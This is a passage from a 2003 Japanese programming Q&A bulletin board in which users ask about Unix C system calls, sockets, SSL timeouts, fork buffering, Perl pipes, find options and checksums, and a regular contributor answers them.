赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3107 # 68user 2003/02/18 (火) 20:56:27
>>3105 wataru
> Hard Hut Linux2.0
Embedded ですか (Hut じゃなくて Hat ですね)。この OS の存在を
初めて知りました。

    http://www.linux.or.jp/JM/html/LDP_man-pages/man2/send.2.html
の内容が正しければ、Linux の send(2) は ESPIPE を返しません。

ただし開発元がカーネルに手を入れている可能性があるので
Hard Hat Linux の send(2) は ESPIPE を返すのかもしれません。
マニュアルに send(2) がどういうときに ESPIPE を返すか書いて
ありませんか?

# まぁライセンスは GPL でしょうから、最悪ソースを読めばわかる
# わけで。

あと、
>>3105 wataru
のソースを眺めましたが、間違いらしきものは見付けられませんでした。

ただ、TCP では普通 send(2) は使いません。別に使っても構わない
はずですが、埋もれているバグを踏まないという意味では、素直に
write(2) を使った方がよいと思います。ただ、それで直るかどうかは
わかりません。

あとは、マルチスレッド環境なので errno の値が別のスレッドに上書き
されたとか…(多分違うと思いますけど)。

No. 3108 # 68user 2003/02/18 (火) 23:02:18
>>3102 68user
> ソースを見ると -not は効きそうなんだけれども。
そっか。

options はソートされていることが前提なのに (bsearch(3) に渡すから)、
        { "-nouser",c_nouser,f_nouser,0 },
        { "-not",c_simple,f_not,0 },
の順で並んでいるからか。

# http://www.jp.freebsd.org/cgi/cvsweb.cgi/src/usr.bin/find/option.c?rev=HEAD

No. 3109 # wataru [E-mail] 2003/02/19 (水) 14:13:27
ありがとうございます。
大変もうしわけありませんが、もう一つ教えていただけないでしょうか?

SSLでの通信も行っているのですが、SSL_write()を使用する際に
タイムアウトの時間を設定したいのですが、方法がわかりません。

selectを使えばできるとも聞いたのですが、具体的にどうすればよいでしょうか

ソースは以下の様です。

    MaxLENGTH = strlen(psz);
    while(sendbytes < MaxLENGTH){
        syslog(LOG_DEBUG,"Send");
        nSended = SSL_write(SOKET, psz, strlen(psz));

        if(nSended == -1){
            perror("SendError:"); s_vMsgSnd(TSK_ER , 71 , 57);
            return -1;
        psz+=nSended;
        sendbytes+=nSended;
    }
    return 0;
}

お手数ですがよろしくお願いします。

No. 3110 # wataru [E-mail] 2003/02/19 (水) 14:15:38
ESPIPEの件は、また別のところで起こっていたようです。
仰る通り、sendによるものではありませんでした。
お手数をおかけしました。

No. 3111 # ふくし 2003/02/19 (水) 23:22:06
そういや(質問でも答でもなく雑談ですが、いいんですかね)
せっかく自分のサーバー立てたんだから、XML::DOM 入れてみよう!(^^)

No. 3112 # 68user 2003/02/21 (金) 22:22:21
>>3110 wataru
> ESPIPEの件は、また別のところで起こっていたようです。
しょーもないミスですが、ありがちですね。

>>3109 wataru
> SSLでの通信も行っているのですが、SSL_write()を使用する際に
> タイムアウトの時間を設定したいのですが、方法がわかりません。
使ったことはありませんが、
    http://www.openssl.org/docs/ssl/SSL_CTX_set_timeout.html
とか、
    http://www.openssl.org/docs/ssl/SSL_get_fd.html
でディスクリプタを取得して select とか、あるいは単純に
alarm とか、でしょうか。

No. 3113 # Japper 2003/02/24 (月) 00:01:36
こんばんわ
CGIのフォームメールで添付ファイルを送っているのですが
途中で通信を中止すると
サーバー上にファイルが残ってしまうということに悩まされています

そのフォームメールはQMAILを用いてメールを配信しています
POPサーバーはVPOPMAILです

対処法はなにかありますでしょうか?

No. 3114 # 68user 2003/02/24 (月) 17:27:34
>>3113 Japper
シグナルをキャッチするという方法もありますが、単にファイルを
消したいだけなら
    - 送信し終わったらファイル名をリネーム or ファイルの置き場所を
        変える (mv)
    - フォームメールが起動したとき、リネーム前 or 実行途中の置き場所
        にあるファイルで、タイムスタンプが古いものを消す。
が単純でよいと思います。

No. 3115 # koko 2003/02/24 (月) 19:36:35
親プロセスでFILE* fpに対してファイルをオープンします。
その後、forkで子プロセスを生成し、子プロセスですぐにfclose(fp)を行います。(子プロセスではファイルを使用しない為。)
子プロセスでファイルをfcloseした後、親プロセスでは引き続きfpに対して読み込みや書き込みを行えるでしょうか。
ファイルディスクリプタは、子プロセスで閉じても親プロセスに影響無いようですが、ファイルポインタは共有されている(?)様なので影響がありそうな気がするのですが、いかがでしょうか。
■知りたい事
1.最終的に親と子でそれぞれfclose(fp)を行う必要があるか。
    (開いたものは必要であれば明示的に閉じるようにしたい。)
2.子プロセスでfcloseしても、親プロセスのfpに影響がないか。

よろしくお願い致します。

No. 3116 # 68user 2003/02/24 (月) 19:55:02
>>3115 koko
> 1.最終的に親と子でそれぞれfclose(fp)を行う必要があるか。
> 2.子プロセスでfcloseしても、親プロセスのfpに影響がないか。

fork したときの出力用バッファにデータがたまっていれば、子の
fclose でバッファがフラッシュされます。そこで親も fclose すれば
同じ内容のバッファがファイルに出力され、同じ内容のデータが
2回書かれることになります。

なお fclose(3) しなかったとしても、exit(3) すれば結局は fclose されます。
# _exit(2) ならされません。

よって、
    1. fflush(fp)
    2. fork
    3. 子は fclose (*A)、親は引き続き fp を使う
がよろしいかと。

*A は、してもしなくても変わりませんが、子で使わないという
意志を明確に示すために fclose(3) した方がよいと僕は思います。

No. 3117 # koko 2003/02/24 (月) 20:56:21
>>3115 koko
早速回答頂き、ありがとうございます。
動作を確認しましたところ、fflushしないと二重でデータが書き込まれていました。
fflushして回避する事にします。
もうひとつ、教えて頂けますでしょうか。
FILE*ではなく、ファイルディスクリプタに対してopen、write、closeで同じ事をした場合、ファイルディスクリプタはバッファリングされないのでfflushのような事をしなくても二重書き込みにはならないでしょうか。
実は、FILE*とファイルディスクリプタの両方を使用して同じ事をしている為、ちょっと心配になりました。
実動作を見た限りでは、ファイルディスクリプタは二重で書き込まれていない様なので大丈夫だとは思いますが...。
よろしくお願い致します。

No. 3118 # koko 2003/02/24 (月) 20:58:35
>>3316 tomotomo
No.3317は>>3316の間違いです。
すいません。

No. 3119 # 68user 2003/02/24 (月) 21:34:23
>>3117 koko
> ファイルディスクリプタはバッファリングされないのでfflushのような事を
> しなくても二重書き込みにはならないでしょうか。
されません。低レベル入出力システムコールはバッファリングが
ないので大丈夫です。

No. 3120 # koko 2003/02/24 (月) 21:36:31
>>3119 68user
回答頂き、ありがとうございます。
安心しました。

No. 3121 # Japper 2003/02/25 (火) 20:32:23
>>3114 68user
ご回答ありがとうございました
大変助かりました

さて、findコマンドでファイルを検索をかけていますが
大きいファイル順に並べ替えるなど
そのようなことはできないでしょうか?

No. 3122 # koko 2003/02/25 (火) 22:59:54
C言語のプログラムでsystem関数でプログラムを呼び出します。
引数に存在しないプログラムを指定した場合のsystem関数の戻り値が-1になる時と256になる時があります。
256の時は、上位8ビットが1なのでシェルのexitコードが1のような気がするのですが、何も環境を変えていないのに戻り値が-1や256に変わる理由が思い浮かびません。
何度も繰り返していると-1と256が不規則に交互します。
この情報だけで何か分かりますでしょうか。
よろしくお願いします。

No. 3123 # 68user 2003/02/26 (水) 01:40:04
>>3121 Japper
> さて、findコマンドでファイルを検索をかけていますが
> 大きいファイル順に並べ替えるなど
大きいってファイルサイズのことですか?
もしそうなら find . -ls | sort +7 とか。

>>3122 koko
> system関数の戻り値が-1になる時と256になる時があります。
FreeBSD の system(3) がおっしゃるには
          The system() function returns the exit status of the shell as returned by
          waitpid(2), or -1 if an error occurred when invoking fork(2) or
          waitpid(2). A return value of 127 means the execution of the shell
          failed.
だそうです。

No. 3124 # koko 2003/02/26 (水) 09:49:46
>>3123 68user
確かに、私が調べたところでも同じ事が記述されていました。
試しに簡単なmainを作って存在しないコマンドをsystemで呼び出すとsystemの戻りは256(おそらくシェルの返すexitコード=1)だけでした。
-1は戻りませんでした。
256と-1が交互になるのは何か他の原因かもしれません。
もう少し調べてみます。
ありがとうございました。

No. 3125 # koko 2003/02/26 (水) 11:46:06
>>3124 koko
256と-1が交互になる件は解決しました。
SIGCHLDのシグナルハンドラを登録してあった為、シグナルハンドラが割り込んだ時のみsystemの戻り値が-1になっていた様です。
SIGCHLDをマスクしたところ、戻り値は256で安定しました。

No. 3126 # bebe 2003/02/26 (水) 19:00:41
find コマンドについて質問があります。
ファイル名で検索をかけたいと思うのですが、
UNIXだと英数字の大文字・小文字を区別してしまうので、例えば、
「a」で検索した場合、「A」というファイルは引っかからないかと
思います。
大文字・小文字の区別無く引っ掛けたいと思うのですが、その様な
オプション又は方法はありますか?

No. 3127 # 68user 2003/02/26 (水) 19:36:38
>>3126 bebe
最近の *BSD find や GNU find なら -iname とか -iregex とか。
そうでない find なら広めにひっかけて grep で絞りましょう。

No. 3128 # bebe 2003/02/28 (金) 13:58:18
>>3127 68user
findコマンドで引っ掛けられたらいいかと思ったのですが、
やっぱり広めに検索をかけて、grep等で絞り込むしかなさそ
ですね。
参考になりました。
有り難うございます。

No. 3129 # もも 2003/03/06 (木) 05:42:54
始めまして、いつもこちらでは陰ながら勉強させていtだいてます。
perlスクリプトのことでお教えください
ただ今企画中のスクリプトにおいて
外部コマンド実行時、そのコマンドプロセスの標準入力へ有る意味大量のデータ(文字列)を渡したいのです
しかしこの方法が全く頭に浮かばず情け無い状態であります!
PIPEやファイルシステムの基礎を知らない私にご教授下されば幸いです。

No. 3130 # 68user 2003/03/07 (金) 01:14:46
>>3129 もも
      open(OUT, "| command");
      print OUT "HOGEHOGEHOGEHOGEHOGEHOGEHOGE....";
      close(OUT);
ってことですか?

じゃなくて command の標準入力に渡しつつ、そのコマンドの
出力を受け取りたいなら IPC::Open2 などを使えばできます。
できますが、デッドロック回避などが面倒なので

      open(OUT, "| command > file");
      print OUT "HOGEHOGEHOGEHOGEHOGEHOGEHOGE....";
      close(OUT);
      open(IN, "< file");
      while (<IN>){
            ....
      }

でいーんではと思う軟弱な私。

No. 3131 # もも 2003/03/07 (金) 11:25:16
>>3139 金床
68user様なるほど理解しました前者が出来ればいいのです!
早速試してみます。ありがとうございました!

No. 3132 # koko 2003/03/10 (月) 10:36:24
親プロセスが複数の子プロセスを生成します。
親は子プロセスの終了をシグナル(SIGCHLD)ハンドラで検知し、waitで子プロセスの終了コード(exitの引数)を取得しています。
同時に、子プロセス数を減算します。(forkで子プロセス数を加算しています。)
シグナルハンドラの処理中に、別の子プロセスが終了した場合、SIGCHLDが無視されてしまう。
あるいは、ほぼ同時に複数の子プロセスが終了した場合には、1回しかSIGCHLDのシグナルが発生しないとの記述を見た事があるのですが、正しく全ての子プロセスの終了を検知する方法はありますでしょうか。
以前、頂いたNo. 2988で頂いた以下の方法でこのような懸念が解消されますでしょうか。

SIGCHLDのシグナルハンドラ--------------------------
        int pid,status,code;

        while((pid=waitpid(-1,&status,WNOHANG))>0){
                if(WIFEXITED(status)){
                        code = WEXITSTATUS(status);
                }
        }
--------------------------------------------------
また、waitpidがシグナルに割り込まれるとエラーになり、errnoにEINTRが設定されると思うのですが、WNOHANGを設定していた場合にはそのような事は無いと考えてしまって良いでしょうか。
よろしくお願いします。

No. 3133 # 68user 2003/03/10 (月) 22:33:46
>>3132 koko
まずは sigaction(2) を読んでください。

# わたしもよくわかってないので読んでいるところ。

No. 3134 # koko 2003/03/11 (火) 08:08:55
>> 3133
読んでみます。

No. 3135 # koko 2003/03/14 (金) 17:50:58
ソケット(TCP)に関する質問です。
サーバ(UNIX)とクライアント(WinSock)がソケットで通信しています。
サーバがクライアントに対してwriteでデータを送り、クライアントがrecvでそれを読む処理を作成しました。
サーバでwriteし、すぐにソケットそcloseすると、クライアントではrecvできずにエラーになります。(既に接続が破棄されている。)
サーバ側でwriteして、すぐにcloseしている事が原因の様です。
writeとcloseの間に1秒程度の時間をおくと、クライアントはrecvできました。
このように、writeとcloseが連続すると相手がrecvできないケースは当然の事なのでしょうか。
それとも、通常はrecvできるはずであり、他に問題がありそうでしょうか。
同じ経験をした事のある方がの意見なども聞けると助かります。
よろしくお願いします。

No. 3136 # 68user 2003/03/15 (土) 04:04:27
>>3135 koko
> 通常はrecvできるはず
だと思います。

No. 3137 # koko 2003/03/17 (月) 08:28:29
>>3136 68user
回答ありがとうございます。
他の原因を調べてみます。

No. 3138 # ajmj 2003/03/17 (月) 18:18:45
ファイルハンドルについての質問です。
Net::FTPで動的に作り出したCSVをアップしたいのですが、
ローカルにファイルを書き出さずにputする方法を教えてください。
FileHandle.pmを使って無名のファイルハンドラを作って、
そこにCSVを入れて、$FTP->put(FILEHANDLA)でアップさせる
とイメージしているのですが
よろしくお願いします。

No. 3139 # 金床 [URL] [E-mail] 2003/03/17 (月) 23:24:58
>>3135 koko
ソケットのクローズはどのAPIを使って(どんなソースコードで)行ってらっしゃいますか?
Winsockだと、shutdownを使わずにclosesocketを呼ぶとRSTフラグのセットされたパケットが飛ぶことが
あるような覚えがあります。

いずれにせよ、パケットキャプチャしてみると原因に近づけると思います。

No. 3140 # koko 2003/03/18 (火) 11:17:29
>>3139 金床
パケットをキャプチャしてみたところ、サーバからクライアントにRSTフラグのセットされたパケットは飛んでいました。

試したケースを整理します。
(1)accept直後にクライアントからの送信データをreadせずに、サーバ側から
write、closeすると、クライアントではサーバがwriteしたデータを受信できません。
(2)accept直後にクライアントからの送信データを1バイトでも良いのでreadし、サーバ側からwrite、closeすると、クライアントではサーバがwriteしたデータを受信できます。

(2)では、RSTフラグのセットされたパケットが飛ぶ前に、FIN ACKがセットされたパケットとクライアントで受信させたいパケットが飛んでおり、(1)ではFIN ACKがセットされたパケットとクライアントで受信させたいパケットが飛んでいません。

サーバ側でクライアントの送信電文を1バイト読む事で動きが変わるようなのですが、この辺が何か関係があるのかもしれません。

ちなみに、APIは以下の通りです。
サーバ(UNIX):socket,bind,listen,accept,select,read,write,close
クライアント(WIN):socket,bind,connect,listen,recv,send,closesocket

サーバ側でのソケットのクローズは、acceptの戻り値を引数にしてcloseをしているのみで、shutdownはしていません。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3141 # 68user 2003/03/18 (火) 21:02:38
>>3138 ajmj
> FileHandle.pmを使って無名のファイルハンドラを作って、
> そこにCSVを入れて、$FTP->put(FILEHANDLA)でアップさせる
というのが実現可能なのかどうかはわかりませんが (できない
ような気がする)、別解としては

    1. put じゃなくて stor("ファイル名") を呼ぶと、Net::FTP::dataconn
          オブジェクトが返ってくるので、それに対して write する。

    2. POSIX::mkfifo で名前付きパイプを作り、fork して、
          子が CSV データを作成、名前付きパイプに書き込む。
          親は Net::FTP::put に名前付きパイプを渡す。

あたりですかね。1 は perldoc Net::FTP を流し読んだだけで、
できるかどうかわかりません。2 は試していませんが、一応実現は
できるでしょう。

>>3140 koko
    http://www.kt.rim.or.jp/~ksk/wskfaq-ja/newbie.html#howclose
ですかね?

あと、情報を小出しにせず、最小限まで削ったソースコードを最初に
載せれば、話が早そうなのになぁと思ったりします。

まぁわたしは Winsock 知らないのでアレですが。

No. 3142 # kaki 2003/03/18 (火) 23:00:14
はじめまして、お世話になります。
kakiと申します。

現在、Linux(Redhat7.1 kernel2.4.2-2)、C言語にて
プログラムの作成をしております。

質問なのですが、プログラム上(C言語)からFD、CFなどのデバイスに
マウントし、FD、CF内のファイルを取得するということは
可能なのでしょうか?

お分かりになる方がおられましたら、ご教授お願いいたします。

No. 3143 # 金床 [URL] [E-mail] 2003/03/18 (火) 23:49:33
>>3140 koko
やっぱりRSTによる「異常終了」が原因のようですね。
shutdown()を使ってみると幸せになれると思います。

No. 3144 # 68user 2003/03/19 (水) 02:04:16
>>3142 kaki
mount(2) をどうぞ。あるいは DOS フォーマットならば mtools の
mtype あたりがお手軽かも。

ところで CF って何ですか? コンパクトフラッシュ?

No. 3145 # kaki 2003/03/19 (水) 09:12:15
>>3144 68user
ご回答ありがとうございます。

mountはコンソール上でのやり方は知っているのですが、
gccでコンパイルしたプログラムからも、
使えるということなのでしょうか?
また、コンソールで使えるコマンド(# mountや# cdなど)を
Cプログラムで使用するにはどのようにするのでしょうか?

実際、やりたいことはプログラムを起動したら、
FD、CF(コンパクトフラッシュ)にマウントし、
ファイルがあればディレクトリにコピーするといったことです。

参考になるサイトや文献などご存知でしたら、
教えてください。
よろしくお願いします。

No. 3146 # FF 2003/03/19 (水) 13:25:20
端末の入出力について質問です。

cronで実行されたシェルの出力を端末に出力したり、
端末からの入力を受けたりしたいのですが、どのよう
にすればよいのでしょうか?
次のようなやり方ではダメでした。
#ファイル名 a.sh
#!/bin/ksh
while [ : ]
do
        read INPUT?'?'
        if [[ $INPUT = 'q' ]]; then
                exit
        fi
done
#スクリプト終了
% a.sh < /dev/pts/13 > /dev/pts/13 2&>1

どなたか教えてください。よろしくお願いします。

No. 3147 # 68user 2003/03/19 (水) 13:51:15
>>3145 kaki
> mountはコンソール上でのやり方は知っているのですが、
> gccでコンパイルしたプログラムからも、
> 使えるということなのでしょうか?
mount(1) は内部で mount(2) を呼んでいるだけなので、自分で
mount(2) を呼んでやればよいわけです。

mount(1) のマニュアル http://www.linux.or.jp/JM/html/util-linux/man8/mount.8.html
mount(2) のマニュアル http://www.linux.or.jp/JM/html/LDP_man-pages/man2/mount.2.html
セクションとは? http://www.linux.or.jp/JM/section.html

> また、コンソールで使えるコマンド(# mountや# cdなど)を
> Cプログラムで使用するにはどのようにするのでしょうか?
system(3) を使います。
    http://www.linux.or.jp/JM/html/LDP_man-pages/man3/system.3.html

なお、cd は海より深い理由により、system(3) からは使えません。
chdir(2) を自分で発行してください。
    http://www.linux.or.jp/JM/html/LDP_man-pages/man2/chdir.2.html

>>3146 FF
> cronで実行されたシェルの出力を端末に出力したり、
> 端末からの入力を受けたりしたいのですが、
おそらく「端末」という用語を誤解されていると思いますが、cron から
実行した場合は端末は割り当てられないので、それは不可能です。

で、あなたが本当は何をしたいかという話になるわけですが、コンソール
(マシンにつながっているモニタ) に文字列を出したいんですか?

あるいはファイルにあらかじめ入力文字列を書いておいて、ファイルに
出力したいんですか?

No. 3148 # FF 2003/03/19 (水) 14:47:05
>> 3147 68user

>おそらく「端末」という用語を誤解されていると思いますが、cron から
>実行した場合は端末は割り当てられないので、それは不可能です。
「端末」は、画面と入力が行える(ディスプレイとキーボード)と認識
してましたが間違っているでしょうか?また、cronに端末が割り当てら
れないのは認識していましたが、何らかの方法で端末を割り当てるか、
リダイレクトなどで入出力できないものかと思って質問させていただき
ました。

質問時には、コマンドラインでシェルを実行し確認したところ、
readのpromptが適切に表示できないなど若干問題があったので質問
させていただいたのですが、cronで”a.sh < /dev/pts/13 > /dev/pts/13 2&>1”を実行したところ正しく動作しているよう
です。現在は、本当にこれでいいのか(コマンドラインではうまく
いかなかったので)、動作で注意すべき点はないか(どのデバイス
に出力すればよいか)悩んでいるところです。なにかアドバイスが
あればよろしくお願いします。

>で、あなたが本当は何をしたいかという話になるわけですが、コンソール
>(マシンにつながっているモニタ) に文字列を出したいんですか?
コンソールに入力を促す文字列を出力し、ユーザからの入力を受け取り
たいのです。(read INPUT?'?'を行いたい)

UNIX汎用だとおもったので環境は書かなかったのですが、一応記述します。
NCRのUNIX V(らしい)でK Shellを利用しています。

よろしくお願いします。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3149 # kaki 2003/03/19 (水) 16:52:19
>>3147 68user
68user さんありがとうございます!!

system("mount /mnt/floppy");
system("ls /home");
など実現できました!!
ありがとうございました。

No. 3150 # 68user 2003/03/20 (木) 00:26:24
>>3148 FF
> cronで”a.sh < /dev/pts/13 > /dev/pts/13 2&>1”を実行したところ
> 正しく動作しているようです。
ほー、FreeBSD で試してみましたが、これ、できるんですねぇ。
知りませんでした。ただ、出力はいいとして、入力については

        ちょうどそのときその端末デバイスからの入力を受け付ける
        プログラム (シェルとか) が走っていた場合、キー入力が
        そのプログラムに渡るか、a.sh に渡るかは不定

なような気がします (FreeBSD で試した限りでは、ですが)。

あとは
    - その端末を読み書きする権限があるかどうか (パーミッションの問題)
    - 誰もログインしていなかったらどうするか
    - 複数の端末があった場合は who などで調べるとしても、
        どの端末を選べばいいのか
    - (ウィンドウシステムがあるとして) たまたま選んだ端末がウィンドウの
        後ろに隠れていたら
とかいろいろ問題ありげなので、お勧めはしません。

No. 3151 # 68user 2003/03/20 (木) 02:03:07
「ネットワークプログラミングの基礎知識」の「リンク集・参考書籍」
      http://x68000.startshop.co.jp/~68user/net/link-book.html
にちょろっと追加しました。

# http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/net/org/link-book.html

No. 3152 # FF 2003/03/20 (木) 13:40:24
>>3150 68user
68userさんご返答ありがとうございます。

>ちょうどそのときその端末デバイスからの入力を受け付ける
>プログラム (シェルとか) が走っていた場合、キー入力が
>そのプログラムに渡るか、a.sh に渡るかは不定
最初のreadの受け取りで若干おかしな動作をする(シェルのプロ
ンプトが表示される)ようなので、cronを使わず常駐して時間に
なったら動作するようにしました。

ありがとうございました。

No. 3153 # 68user 2003/03/23 (日) 18:50:44
内容あやしげ、そして需要がほとんどないと思われる
    「DNS クライアントを作ってみよう」
を書きました。
    http://x68000.startshop.co.jp/~68user/net/resolver-1.html
    http://x68000.startshop.co.jp/~68user/net/resolver-2.html
    http://x68000.startshop.co.jp/~68user/net/resolver-3.html

3連休つぶれちゃったよ。とほほ。

No. 3154 # kaki 2003/03/24 (月) 22:05:55
お世話になります。kakiです。

現在、LAN経由でクライアントから送られてくる(55msec毎)データを、
取得し、表示するHTTPサーバーを作成しています。

サーバー側で、クライアントと接続中にLANケーブルが抜けたのを
検出するのに、受信ループ中のping()で戻り値を判断して、
抜けているかどうかを判断しようとしていますが、
この方法は正攻法なのでしょうか?

また、その方法を試そうと思ったのですが、
accept()後のrecv()で受信待ちをしてしまっている為、
ケーブル断が検出できていません。
受信待ちをしないよう、socket()後にfcntl(s,F_SETFL,O_NONBLOCK)と
しているのですがrecv()でとまっているようです。
fcntl()の使い方が間違っているのでしょうか?

No. 3155 # 68user 2003/03/24 (月) 23:23:30
>>3154 kaki
> この方法は正攻法なのでしょうか?
正攻法とは何かという話になってしまいますが、TCP/IP の設計思想的には
誤りです。ケーブルが抜けようがルータが落ちようが、その部分が復旧したら
元通りに通信できるべきである、という考えだからです。

と言っても、タイムアウトを実装したいというケースもあるでしょうが、
わたしなら select したり non-blocking socket 使うと思います。ケーブル
断だけでなく、クライアント側のバグなどで いつまでたっても反応がない
場合なども対応できるからです。

サーバ側のケーブル断であれば
>>1301 rosegarden
という話もあったりしますが、通信できない原因はたくさん考えられるのに、
なぜサーバ側のケーブル断だけ特別扱いするのか、という話になるのではないかと。

> 受信待ちをしないよう、socket()後にfcntl(s,F_SETFL,O_NONBLOCK)と
> しているのですがrecv()でとまっているようです。
> fcntl()の使い方が間違っているのでしょうか?
non-blocking socket を使ったことがないのでわかりませんが、あってる
ような気がします。

多分これは関係ないでしょうけど、とりあえず
      int val = fcntl(s, F_GETFL, 0);
      fcntl(s, F_SETFL, val | O_NONBLOCK);
の方がいいでしょうね。

No. 3156 # ふくし 2003/03/26 (水) 10:11:45
質問です。Windows のDOS窓で
0x01〜0x06、0x10、0x15〜0x17 で水道管みたいな罫線が出たり、
0x12、0x1b〜0x1fでちっちゃな矢印が出ますが、
これらの文字は誰がどこで決めたのでしょうか。
おわかりでしたらご教示ください。

No. 3157 # 68user 2003/03/26 (水) 12:15:26
>>3156 ふくし
調べましたが、わかりませんでした。
      http://czyborra.com/charsets/codepages.html
を見るに、
> 0x12、0x1b〜0x1fでちっちゃな矢印
は CP437 あたりだと思いますが、なぜ 0x01 で 0xC9 な
水道管が出るのかはわかりません。

      http://www2d.biglobe.ne.jp/~msyk/cgi-bin/charcode/
で質問してみてはどうでしょうか。

No. 3158 # ふくし 2003/03/26 (水) 16:49:02
>>3157 68user
さん、ありがとうございます!
聞いてみます。
ちなみにDOS窓でjpとやると出てくる字から想像するに、
CP932ですよね。
usとやると437に切り替わりますが、そうすると出てくる字は
下で出てきたCP437そのままのようです。

No. 3159 # 68user 2003/03/26 (水) 19:59:17
たまに referer 見てみると、知らないところで突っ込まれて
たりするのでおもしろい。

http://dns.qmail.jp/lies.html
> コンテンツサーバとキャッシュサーバの違いを理解していな可能性が高いから。

うっ。勉強しよう。

No. 3160 # saki 2003/03/26 (水) 20:16:43
お世話になります。

gcc(全般)でコンパイルした実行ファイルには
チェックサムは付加されているのでしょうか?

No. 3161 # 68user 2003/03/26 (水) 20:34:52
>>3160 saki
> チェックサム
の意味がわかりません。

ファイル転送などで化けてしまったバイナリを実行しようと
すると、「チェックサムが一致しません」とか言ってくれる、
ような感じですか? もしそうなら、そういう機能は聞いたこと
ありません。

もしかして、そういうのが可能なコンパイラがあるのでしょうか。

No. 3162 # saki 2003/03/26 (水) 21:16:03
>>3161 68user
68userさん ご返答ありがとうございます。

そのチェックサムです。
ファイルをバイナリで開いて、そのファイルの全バイナリ値の合計のこと
だそうです。(すいません私もあまり詳しくないのです。)

あるファイルをコピー(ダウンロード)する時に、
コピー前のファイルとコピー後のファイルのチェックサムを
比較して、あっていればコピーが正常、あっていなければ異常と
するプログラムを作りたいと思っていまして、

> gcc(全般)でコンパイルした実行ファイルには
> チェックサムは付加されているのでしょうか?
とお聞きしたのは、ファイルそのものにチェックサムが付加されていれば
ファイルをオープンしてチェックサムの値を比べるだけで済むのかなぁと
思いまして・・・。

そういう機能がないのであれば、チェックサム自体をプログラムで
作ろうと思い、
ネットで調べたのですが簡単すぎるからなのか情報があまりありません。

参考になるサイトや本などあれば、勉強したいのですが、
ご存知のかたはいますでしょうか?

No. 3163 # 68user 2003/03/27 (木) 02:40:54
>>3162 saki
チェックしたいのがバイナリだけでいいのか、データファイルも
含むファイル一般なのかわかりませんが、前者であれば gzexe
      http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=gzexe&dir=jpman-5.0.0%2Fman
を使うのが簡単でしょう。gzexe は実行ファイルを圧縮しておく
ためのコマンドですが、実行時に gzip で展開するので、結果的に
gzip の誤り検出機能をそのまま利用できます。gzexe も 圧縮した
実行ファイルも、いずれも sh スクリプトですので、改造も簡単
でしょう。

後者であれば、単に gzip を使う手もありますし、あるいは
cksum や md5 などのコマンドを利用するのもいいでしょう。
    http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=cksum&dir=jpman-5.0.0%2Fman
    http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=md5&dir=jpman-5.0.0%2Fman
    http://www3.cds.ne.jp/~marimo/data/rfc/rfc1321-jp.txt

なお、誤り検出のアルゴリズムとしては、
> ファイルをバイナリで開いて、そのファイルの全バイナリ値の
> 合計のことだそうです。
は単純すぎます。言っちゃ悪いですが、この程度の認識しか持っていない
のであれば、cksum や md5 などのコマンドを利用した方がよいです。

No. 3164 # has 2003/03/27 (木) 03:19:01
>>3153 68user
なんかわざわざ書いてもらったようで恐縮です。
なんでもそうですが、自分が必要と思う部分を理解するには
その周りの事情全てを勉強しておけ、というのが世間の常識なので、
俺みたくよこしまな考えでDNS関連の本やらWEBやらRFCやらを
眺めている輩にはなかなかハードルが高かったのですが、
おかげでDNS関連の資料に目を通すのにも少し抵抗が和らぎました。

ところで例の話の続きなんですが、うちのlinux(kernel-2.4.18+
glibc-2.2.4)では、bind-8.3.4-RELのdig8.3で名前解決できません。
straceしてみると、どうもpoll()で受信を検出できていないようです。
glibcの名前解決も同様のコーディングだったので、poll()を試しに
select(),pselect()に変えてみましたがダメでした。
一方でbind9.1.3付属のdigでは名前解決ができました。
というわけで、そのコードをglibcに移植してしまえ、と思ったのですが、
iscライブラリというのが理解できず、結局移植はできていません。
一時はgethostbyname()内部を、正常に動作するdig9.1.3をsystem()で
呼び出し、その結果を拾ってくるように書き換えようと思いましたが、
どうやらgethostbyname()の利用頻度が低いようだったのでやめました。

今後についてはどうするか未定ですが、また調査しつつ改修しつつで
行きたいと思います。

No. 3165 # へにか [URL] 2003/03/27 (木) 08:10:23
かなりお久しぶりです。

>>3163 68user
実は私も、チェックサム=合計と思っていました。cksumのように
CRC演算するものもチェックサムと呼ばれるようになった経緯を何
かご存知でしたら、教えていただけませんか?

#少なくとも、CRC演算は合計(=サム)ではないです・・・

No. 3166 # 68user 2003/03/27 (木) 08:26:35
>>3165 へにか
> 実は私も、チェックサム=合計と思っていました。
広義のチェックサムと狭義のチェックサムがあって、狭義の
チェックサムは
      http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=cksum&dir=jpman-5.0.0%2Fman#sect2
で言うところのアルゴリズム 1 なのだろうとわたしは思って
います。このマニュアルではアルゴリズム 2・3 も「チェックサム」
と呼んでますね (それが一般的なのかどうかはわかりませんが)。

>>3163 68user
を書いたときは、わたしの中では「チェックサム=広義のチェックサム」
だったので、あのような書き方をしましたが、
> ファイルをバイナリで開いて、そのファイルの全バイナリ値の
> 合計のことだそうです。
は正しいですね。失礼しました。

No. 3167 # 68user 2003/03/27 (木) 08:30:37
>>3166 68user
> チェックサムは
> http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=cksum&dir=jpman-5.0.0%2Fman#sect2
> で言うところのアルゴリズム 1 なのだろう
あ、加算のたびに右ローテートって書いてあるので、アルゴリズム 1 も
「狭義のチェックサム」とは異なるんですね。

No. 3168 # saki 2003/03/27 (木) 11:54:48
68userさん、へにかさん
ご返答ありがとうございます。

大変、勉強になりました。
チェックサムといっても、いろいろなやり方があるのですね。

>cksum や md5 などのコマンドを利用した方がよいです。
組込のLinuxだったので上記のようなコマンドがなく、
自作しました。
全バイナリ値を合計して、16bit桁あふれしたら、
あふれた分を削除するという簡単なものです。
こんなのでもいいのかなと不安になりますが、
貴重な情報をありがとうございました。

No. 3169 # ふくし 2003/03/27 (木) 19:36:18
すいません、また質問です。

Windows で ActivePerl を使うと、
\r\n を読み込むと \n を読み込んだと思い込み、
\n を書き出すと \r\n を書き出そうとする習性があります。

これを停止するために
  binmode STDIN;
